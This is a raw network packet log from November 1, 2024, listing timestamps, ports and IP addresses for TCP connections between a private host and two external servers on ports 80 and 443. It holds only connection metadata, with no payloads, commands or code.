Nov 1, 2024 12:34:31.117535114 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117538929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117548943 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117552996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117563963 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117575884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117584944 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117587090 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117599964 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117610931 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117614985 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117626905 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117629051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117639065 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117650986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117650986 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117660999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117674112 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117675066 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117686033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117695093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117727041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117857933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117871046 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117882013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117892981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117904902 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117909908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117922068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117932081 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117933035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117944956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117955923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117959023 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117976904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117988110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.117995024 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.117999077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118011951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118015051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118024111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118030071 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118040085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118041039 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118058920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118063927 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118072033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118083000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118084908 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118094921 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118103981 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118114948 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118127108 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118129969 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118139029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118150949 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118161917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118166924 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118174076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118175983 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118186951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118199110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118206024 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118211031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118222952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118233919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118242025 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118243933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118257999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118267059 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118269920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118282080 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118283033 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118294954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118304014 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118308067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118320942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118329048 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118339062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118362904 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118510008 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118521929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118534088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118546009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118547916 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118558884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118568897 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118571997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118586063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118593931 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118597984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118621111 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118643045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118654966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118664980 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118678093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118676901 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118690968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118700027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118702888 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118715048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118724108 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118726969 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118738890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118743896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118750095 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118755102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118772984 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118773937 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118787050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118794918 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118799925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118812084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118823051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118829966 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118834019 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118846893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118855000 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118860006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118870020 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118872881 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118894100 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118907928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118920088 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118932009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118943930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118943930 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118957996 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118958950 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.118971109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118982077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.118993044 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119004011 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119004011 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119016886 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119029045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119029045 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119040966 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119041920 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119066000 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119345903 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119358063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119368076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119379997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119390965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119394064 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119402885 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119404078 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119416952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119425058 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119429111 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119441032 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119452000 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119457960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119462013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119482994 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119486094 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119493008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119498968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119509935 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119522095 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119534016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119544983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119553089 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119556904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119581938 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119609118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119621038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119632006 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119643927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119653940 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119661093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119661093 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119668007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119679928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119690895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119693041 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119703054 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119714975 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119725943 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119726896 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119746923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119755030 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119759083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119770050 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119771957 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119784117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119791985 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119796991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119808912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119820118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119827032 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119831085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119848013 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119852066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119869947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119875908 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119883060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119894981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119900942 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119909048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119919062 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119930983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119940996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119941950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119954109 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119963884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119965076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119976044 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.119983912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.119995117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120002985 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120006084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120018005 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120029926 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120038986 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120042086 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120054960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120062113 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120065928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120079041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120085955 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120090961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120099068 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120101929 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120115042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120125055 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120126009 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120138884 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120147943 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120151043 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120178938 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120493889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120507002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120518923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120529890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120534897 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120543003 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120553970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120560884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120567083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.120575905 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.120604038 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.137706041 CET	80	49999	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.139230967 CET	49999	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.139985085 CET	49999	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.144722939 CET	80	49999	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.339148998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.339221954 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.597177029 CET	80	49999	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.597302914 CET	49999	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.597431898 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597517967 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597539902 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597568035 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597590923 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597614050 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597616911 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.597641945 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597664118 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597687006 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597707033 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.597707033 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.597714901 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.597933054 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.639348030 CET	80	49999	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.639421940 CET	49999	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.648317099 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.648375034 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.648402929 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.648427010 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.648473024 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.648495913 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.648507118 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.648508072 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.648547888 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.651035070 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.651051044 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.651062965 CET	50000	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.651067972 CET	443	50000	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.709671021 CET	49999	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.710033894 CET	50001	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.716026068 CET	80	50001	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.716100931 CET	50001	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.716269016 CET	80	49999	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.716279030 CET	50001	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.716326952 CET	49999	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.722760916 CET	80	50001	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.767245054 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:31.767293930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:31.888508081 CET	50002	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.888555050 CET	443	50002	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:31.888730049 CET	50002	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.889075994 CET	50002	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:31.889089108 CET	443	50002	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:32.109575033 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.114630938 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114671946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114684105 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114708900 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.114815950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114828110 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114839077 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114850998 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114861012 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.114861965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114872932 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114883900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114892006 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.114901066 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114906073 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.114912987 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114917040 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.114927053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114937067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114948988 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114959955 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114960909 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.114973068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114984035 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.114984035 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114996910 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.114998102 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115020990 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115048885 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115061045 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115071058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115081072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115099907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115111113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115113020 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115123034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115134954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115137100 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115148067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115161896 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115175009 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115197897 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:32.115328074 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:32.115338087 CET	80	49996	185.215.113.16	192.168.2.7
